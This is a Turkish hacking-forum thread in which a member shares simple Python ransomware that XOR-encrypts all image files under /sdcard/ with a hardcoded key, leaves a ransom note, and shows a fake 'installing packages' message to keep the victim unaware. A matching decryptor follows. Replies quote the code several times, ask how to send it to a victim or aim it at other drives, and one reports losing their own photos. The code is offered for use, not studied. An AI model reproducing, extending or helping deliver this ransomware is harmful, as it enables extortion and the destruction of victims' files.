Python ile Fidye Virüsü!

Carlonhack

Uzman üye
20 Şub 2022
1,313
333
Merhaba ben Carlon

Bugün sizlere kendi basit olarak geliştirdiğim fidye virüsünü göstereceğim. Bu virüs sadece cihazdaki fotoğrafları şifreliyor. Basittir temel mantık ele alınmıştır.



Fidye Virüsü;

Python:
import os
import mimetypes

print("Gerekli Paketler Yükleniyor.. (Bu işlem zaman alabilir!") #burda kurbanı bekletiyoruz farkına varmasın diye

def encrypt_file(file_name, key):
    # Dosyayı Şifreleme adımı
    with open(file_name, 'rb') as f:
        data = bytearray(f.read())
    key_bytes = bytearray(key, 'utf-8')  # Anahtarı byte dizisine dönüştürüyoruz
    for i, byte in enumerate(data):
        data[i] = byte ^ key_bytes[i % len(key_bytes)]  # XOR işlemini yapıyoruz
    with open(file_name, 'wb') as f:
        f.write(data)

def demand_ransom(target_directory):
    # Kurbana bir fidye notu bırakıyoruz
    ransom_message = """
    Fotoğraflarınız  Şifrelendi :)
    Fotoğraflarınızı Geri Getirmek için l
  
    
                """
    with open(os.path.join(target_directory, "Oku.txt"), "w") as f:
        f.write(ransom_message)


if __name__ == "__main__":
    target_directories = ["/sdcard/"] # şifrelenecek dizini yazıyoruz
  
    key = "ahmetkaya"  # Şifreleme anahtarını belirtiyoruz
  
    for target_directory in target_directories:
        # Hedef dizindeki tüm resim dosyalarını şifreliyoruz
        for root, dirs, files in os.walk(target_directory):
            for file in files:
                file_path = os.path.join(root, file)
                mime_type, _ = mimetypes.guess_type(file_path)
                if mime_type and mime_type.startswith('image'):
                    encrypt_file(file_path, key)
      
        # Fidye talep ediyoruz
        demand_ransom(target_directory)


Şifrelenmiş dosyaları çözme;

Python:
import os
import mimetypes

print("Bekle şifreler çözülüyor")

def decrypt_file(file_name, key):
    # Dosyayı çözüyoruz
    with open(file_name, 'rb') as f:
        data = bytearray(f.read())
    key_bytes = bytearray(key, 'utf-8')  # Anahtarı byte dizisine dönüştürüyoruz
    for i, byte in enumerate(data):
        data[i] = byte ^ key_bytes[i % len(key_bytes)]  # XOR işlemi
    with open(file_name, 'wb') as f:
        f.write(data)


if __name__ == "__main__":
    target_directories = ["/sdcard/"] # çözülecek dizini yazıyoruz
  
    key = "ahmetkaya"  # Şifreleme anahtarını yazıyoruz
  
    for target_directory in target_directories:
        # Hedef dizindeki tüm şifreli dosyaları çözüyoruz
        for root, dirs, files in os.walk(target_directory):
            for file in files:
                file_path = os.path.join(root, file)
                mime_type, _ = mimetypes.guess_type(file_path)
                if mime_type and mime_type.startswith('image'):
                    decrypt_file(file_path, key)


dikkat edilmesi gereken kısım şifreleme anahtarını düzgün yazmamız ve unutmamamız yoksa şifrelenmiş dosyaları geri getiremezsiniz.

Daha fazla bu konulardan gelmesini istiyorsanız belirtebilirsiniz
Saygılar...
 
Moderatör tarafında düzenlendi:

İCarL

Yeni üye
3 Haz 2023
22
2
Ben bunu birine nasıl atacağımı tam bilmiyorum. Yani uygulama ile mi atılması gerekiyor? Uygulamaya nasıl entegre ederiz.
 

MR_X

Üye
17 Eyl 2023
76
26
Merhaba ben Carlon

Bugün sizlere kendi basit olarak geliştirdiğim fidye virüsünü göstereceğim. Bu virüs sadece cihazdaki fotoğrafları şifreliyor. Basittir temel mantık ele alınmıştır.



Fidye Virüsü;

Python:
import os
import mimetypes

print("Gerekli Paketler Yükleniyor.. (Bu işlem zaman alabilir!") #burda kurbanı bekletiyoruz farkına varmasın diye

def encrypt_file(file_name, key):
    # Dosyayı Şifreleme adımı
    with open(file_name, 'rb') as f:
        data = bytearray(f.read())
    key_bytes = bytearray(key, 'utf-8')  # Anahtarı byte dizisine dönüştürüyoruz
    for i, byte in enumerate(data):
        data[i] = byte ^ key_bytes[i % len(key_bytes)]  # XOR işlemini yapıyoruz
    with open(file_name, 'wb') as f:
        f.write(data)

def demand_ransom(target_directory):
    # Kurbana bir fidye notu bırakıyoruz
    ransom_message = """
    Fotoğraflarınız  Şifrelendi :)
    Fotoğraflarınızı Geri Getirmek için l
 
   
                """
    with open(os.path.join(target_directory, "Oku.txt"), "w") as f:
        f.write(ransom_message)


if __name__ == "__main__":
    target_directories = ["/sdcard/"] # şifrelenecek dizini yazıyoruz
 
    key = "ahmetkaya"  # Şifreleme anahtarını belirtiyoruz
 
    for target_directory in target_directories:
        # Hedef dizindeki tüm resim dosyalarını şifreliyoruz
        for root, dirs, files in os.walk(target_directory):
            for file in files:
                file_path = os.path.join(root, file)
                mime_type, _ = mimetypes.guess_type(file_path)
                if mime_type and mime_type.startswith('image'):
                    encrypt_file(file_path, key)
     
        # Fidye talep ediyoruz
        demand_ransom(target_directory)


Şifrelenmiş dosyaları çözme;

Python:
import os
import mimetypes

print("Bekle şifreler çözülüyor")

def decrypt_file(file_name, key):
    # Dosyayı çözüyoruz
    with open(file_name, 'rb') as f:
        data = bytearray(f.read())
    key_bytes = bytearray(key, 'utf-8')  # Anahtarı byte dizisine dönüştürüyoruz
    for i, byte in enumerate(data):
        data[i] = byte ^ key_bytes[i % len(key_bytes)]  # XOR işlemi
    with open(file_name, 'wb') as f:
        f.write(data)


if __name__ == "__main__":
    target_directories = ["/sdcard/"] # çözülecek dizini yazıyoruz
 
    key = "ahmetkaya"  # Şifreleme anahtarını yazıyoruz
 
    for target_directory in target_directories:
        # Hedef dizindeki tüm şifreli dosyaları çözüyoruz
        for root, dirs, files in os.walk(target_directory):
            for file in files:
                file_path = os.path.join(root, file)
                mime_type, _ = mimetypes.guess_type(file_path)
                if mime_type and mime_type.startswith('image'):
                    decrypt_file(file_path, key)


dikkat edilmesi gereken kısım şifreleme anahtarını düzgün yazmamız ve unutmamamız yoksa şifrelenmiş dosyaları geri getiremezsiniz.

Daha fazla bu konulardan gelmesini istiyorsanız belirtebilirsiniz
Saygılar...
Eline sağlık üstad
 

ACE Veen

Uzman üye
4 Şub 2023
1,111
563
Belirsiz
Merhaba ben Carlon

Bugün sizlere kendi basit olarak geliştirdiğim fidye virüsünü göstereceğim. Bu virüs sadece cihazdaki fotoğrafları şifreliyor. Basittir temel mantık ele alınmıştır.



Fidye Virüsü;

Python:
import os
import mimetypes

print("Gerekli Paketler Yükleniyor.. (Bu işlem zaman alabilir!") #burda kurbanı bekletiyoruz farkına varmasın diye

def encrypt_file(file_name, key):
    # Dosyayı Şifreleme adımı
    with open(file_name, 'rb') as f:
        data = bytearray(f.read())
    key_bytes = bytearray(key, 'utf-8')  # Anahtarı byte dizisine dönüştürüyoruz
    for i, byte in enumerate(data):
        data[i] = byte ^ key_bytes[i % len(key_bytes)]  # XOR işlemini yapıyoruz
    with open(file_name, 'wb') as f:
        f.write(data)

def demand_ransom(target_directory):
    # Kurbana bir fidye notu bırakıyoruz
    ransom_message = """
    Fotoğraflarınız  Şifrelendi :)
    Fotoğraflarınızı Geri Getirmek için l
 
   
                """
    with open(os.path.join(target_directory, "Oku.txt"), "w") as f:
        f.write(ransom_message)


if __name__ == "__main__":
    target_directories = ["/sdcard/"] # şifrelenecek dizini yazıyoruz
 
    key = "ahmetkaya"  # Şifreleme anahtarını belirtiyoruz
 
    for target_directory in target_directories:
        # Hedef dizindeki tüm resim dosyalarını şifreliyoruz
        for root, dirs, files in os.walk(target_directory):
            for file in files:
                file_path = os.path.join(root, file)
                mime_type, _ = mimetypes.guess_type(file_path)
                if mime_type and mime_type.startswith('image'):
                    encrypt_file(file_path, key)
     
        # Fidye talep ediyoruz
        demand_ransom(target_directory)


Şifrelenmiş dosyaları çözme;

Python:
import os
import mimetypes

print("Bekle şifreler çözülüyor")

def decrypt_file(file_name, key):
    # Dosyayı çözüyoruz
    with open(file_name, 'rb') as f:
        data = bytearray(f.read())
    key_bytes = bytearray(key, 'utf-8')  # Anahtarı byte dizisine dönüştürüyoruz
    for i, byte in enumerate(data):
        data[i] = byte ^ key_bytes[i % len(key_bytes)]  # XOR işlemi
    with open(file_name, 'wb') as f:
        f.write(data)


if __name__ == "__main__":
    target_directories = ["/sdcard/"] # çözülecek dizini yazıyoruz
 
    key = "ahmetkaya"  # Şifreleme anahtarını yazıyoruz
 
    for target_directory in target_directories:
        # Hedef dizindeki tüm şifreli dosyaları çözüyoruz
        for root, dirs, files in os.walk(target_directory):
            for file in files:
                file_path = os.path.join(root, file)
                mime_type, _ = mimetypes.guess_type(file_path)
                if mime_type and mime_type.startswith('image'):
                    decrypt_file(file_path, key)


dikkat edilmesi gereken kısım şifreleme anahtarını düzgün yazmamız ve unutmamamız yoksa şifrelenmiş dosyaları geri getiremezsiniz.

Daha fazla bu konulardan gelmesini istiyorsanız belirtebilirsiniz
Saygılar...
Yorum satılarını görünce GPT sandımda değilmiş hocam elinize sağlık
 

Howert

Katılımcı Üye
15 Mar 2022
564
215
root@Howert
eğer daha önceden alınmış bir yedeği varsa kurtarma kısmından geri dönebilir virüsü biraz daha geliştirirsen iyi olur eline sağlık
 

Amonkus

Yeni üye
9 Kas 2023
50
11
Merhaba ben Carlon

Bugün sizlere kendi basit olarak geliştirdiğim fidye virüsünü göstereceğim. Bu virüs sadece cihazdaki fotoğrafları şifreliyor. Basittir temel mantık ele alınmıştır.



Fidye Virüsü;

Python:
import os
import mimetypes

print("Gerekli Paketler Yükleniyor.. (Bu işlem zaman alabilir!") #burda kurbanı bekletiyoruz farkına varmasın diye

def encrypt_file(file_name, key):
    # Dosyayı Şifreleme adımı
    with open(file_name, 'rb') as f:
        data = bytearray(f.read())
    key_bytes = bytearray(key, 'utf-8')  # Anahtarı byte dizisine dönüştürüyoruz
    for i, byte in enumerate(data):
        data[i] = byte ^ key_bytes[i % len(key_bytes)]  # XOR işlemini yapıyoruz
    with open(file_name, 'wb') as f:
        f.write(data)

def demand_ransom(target_directory):
    # Kurbana bir fidye notu bırakıyoruz
    ransom_message = """
    Fotoğraflarınız  Şifrelendi :)
    Fotoğraflarınızı Geri Getirmek için l
 
   
                """
    with open(os.path.join(target_directory, "Oku.txt"), "w") as f:
        f.write(ransom_message)


if __name__ == "__main__":
    target_directories = ["/sdcard/"] # şifrelenecek dizini yazıyoruz
 
    key = "ahmetkaya"  # Şifreleme anahtarını belirtiyoruz
 
    for target_directory in target_directories:
        # Hedef dizindeki tüm resim dosyalarını şifreliyoruz
        for root, dirs, files in os.walk(target_directory):
            for file in files:
                file_path = os.path.join(root, file)
                mime_type, _ = mimetypes.guess_type(file_path)
                if mime_type and mime_type.startswith('image'):
                    encrypt_file(file_path, key)
     
        # Fidye talep ediyoruz
        demand_ransom(target_directory)


Şifrelenmiş dosyaları çözme;

Python:
import os
import mimetypes

print("Bekle şifreler çözülüyor")

def decrypt_file(file_name, key):
    # Dosyayı çözüyoruz
    with open(file_name, 'rb') as f:
        data = bytearray(f.read())
    key_bytes = bytearray(key, 'utf-8')  # Anahtarı byte dizisine dönüştürüyoruz
    for i, byte in enumerate(data):
        data[i] = byte ^ key_bytes[i % len(key_bytes)]  # XOR işlemi
    with open(file_name, 'wb') as f:
        f.write(data)


if __name__ == "__main__":
    target_directories = ["/sdcard/"] # çözülecek dizini yazıyoruz
 
    key = "ahmetkaya"  # Şifreleme anahtarını yazıyoruz
 
    for target_directory in target_directories:
        # Hedef dizindeki tüm şifreli dosyaları çözüyoruz
        for root, dirs, files in os.walk(target_directory):
            for file in files:
                file_path = os.path.join(root, file)
                mime_type, _ = mimetypes.guess_type(file_path)
                if mime_type and mime_type.startswith('image'):
                    decrypt_file(file_path, key)


dikkat edilmesi gereken kısım şifreleme anahtarını düzgün yazmamız ve unutmamamız yoksa şifrelenmiş dosyaları geri getiremezsiniz.

Daha fazla bu konulardan gelmesini istiyorsanız belirtebilirsiniz
Saygılar...
Eline sağlık ama bir şey sorcam.
Şifrelenmiş dizini belirtiyoruz ama belki adam C diski kullanmıyo o zaman napıcaz?
 

bqtw

Üye
22 May 2023
166
41
Merhaba ben Carlon

Bugün sizlere kendi basit olarak geliştirdiğim fidye virüsünü göstereceğim. Bu virüs sadece cihazdaki fotoğrafları şifreliyor. Basittir temel mantık ele alınmıştır.



Fidye Virüsü;

Python:
import os
import mimetypes

print("Gerekli Paketler Yükleniyor.. (Bu işlem zaman alabilir!") #burda kurbanı bekletiyoruz farkına varmasın diye

def encrypt_file(file_name, key):
    # Dosyayı Şifreleme adımı
    with open(file_name, 'rb') as f:
        data = bytearray(f.read())
    key_bytes = bytearray(key, 'utf-8')  # Anahtarı byte dizisine dönüştürüyoruz
    for i, byte in enumerate(data):
        data[i] = byte ^ key_bytes[i % len(key_bytes)]  # XOR işlemini yapıyoruz
    with open(file_name, 'wb') as f:
        f.write(data)

def demand_ransom(target_directory):
    # Kurbana bir fidye notu bırakıyoruz
    ransom_message = """
    Fotoğraflarınız  Şifrelendi :)
    Fotoğraflarınızı Geri Getirmek için l
 
  
                """
    with open(os.path.join(target_directory, "Oku.txt"), "w") as f:
        f.write(ransom_message)


if __name__ == "__main__":
    target_directories = ["/sdcard/"] # şifrelenecek dizini yazıyoruz
 
    key = "ahmetkaya"  # Şifreleme anahtarını belirtiyoruz
 
    for target_directory in target_directories:
        # Hedef dizindeki tüm resim dosyalarını şifreliyoruz
        for root, dirs, files in os.walk(target_directory):
            for file in files:
                file_path = os.path.join(root, file)
                mime_type, _ = mimetypes.guess_type(file_path)
                if mime_type and mime_type.startswith('image'):
                    encrypt_file(file_path, key)
    
        # Fidye talep ediyoruz
        demand_ransom(target_directory)


Şifrelenmiş dosyaları çözme;

Python:
import os
import mimetypes

print("Bekle şifreler çözülüyor")

def decrypt_file(file_name, key):
    # Dosyayı çözüyoruz
    with open(file_name, 'rb') as f:
        data = bytearray(f.read())
    key_bytes = bytearray(key, 'utf-8')  # Anahtarı byte dizisine dönüştürüyoruz
    for i, byte in enumerate(data):
        data[i] = byte ^ key_bytes[i % len(key_bytes)]  # XOR işlemi
    with open(file_name, 'wb') as f:
        f.write(data)


if __name__ == "__main__":
    target_directories = ["/sdcard/"] # çözülecek dizini yazıyoruz
 
    key = "ahmetkaya"  # Şifreleme anahtarını yazıyoruz
 
    for target_directory in target_directories:
        # Hedef dizindeki tüm şifreli dosyaları çözüyoruz
        for root, dirs, files in os.walk(target_directory):
            for file in files:
                file_path = os.path.join(root, file)
                mime_type, _ = mimetypes.guess_type(file_path)
                if mime_type and mime_type.startswith('image'):
                    decrypt_file(file_path, key)


dikkat edilmesi gereken kısım şifreleme anahtarını düzgün yazmamız ve unutmamamız yoksa şifrelenmiş dosyaları geri getiremezsiniz.

Daha fazla bu konulardan gelmesini istiyorsanız belirtebilirsiniz
Saygılar...
Hocam düzenlerken kendi cihazimda başlattım sdcard şifrelendi açma kodunu çalıştırdım ama bazı fotoğraflar açılmıyor sebebi nedir ? Fotoğraflar yedekliydi onları geri nasıl getirebilirim
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.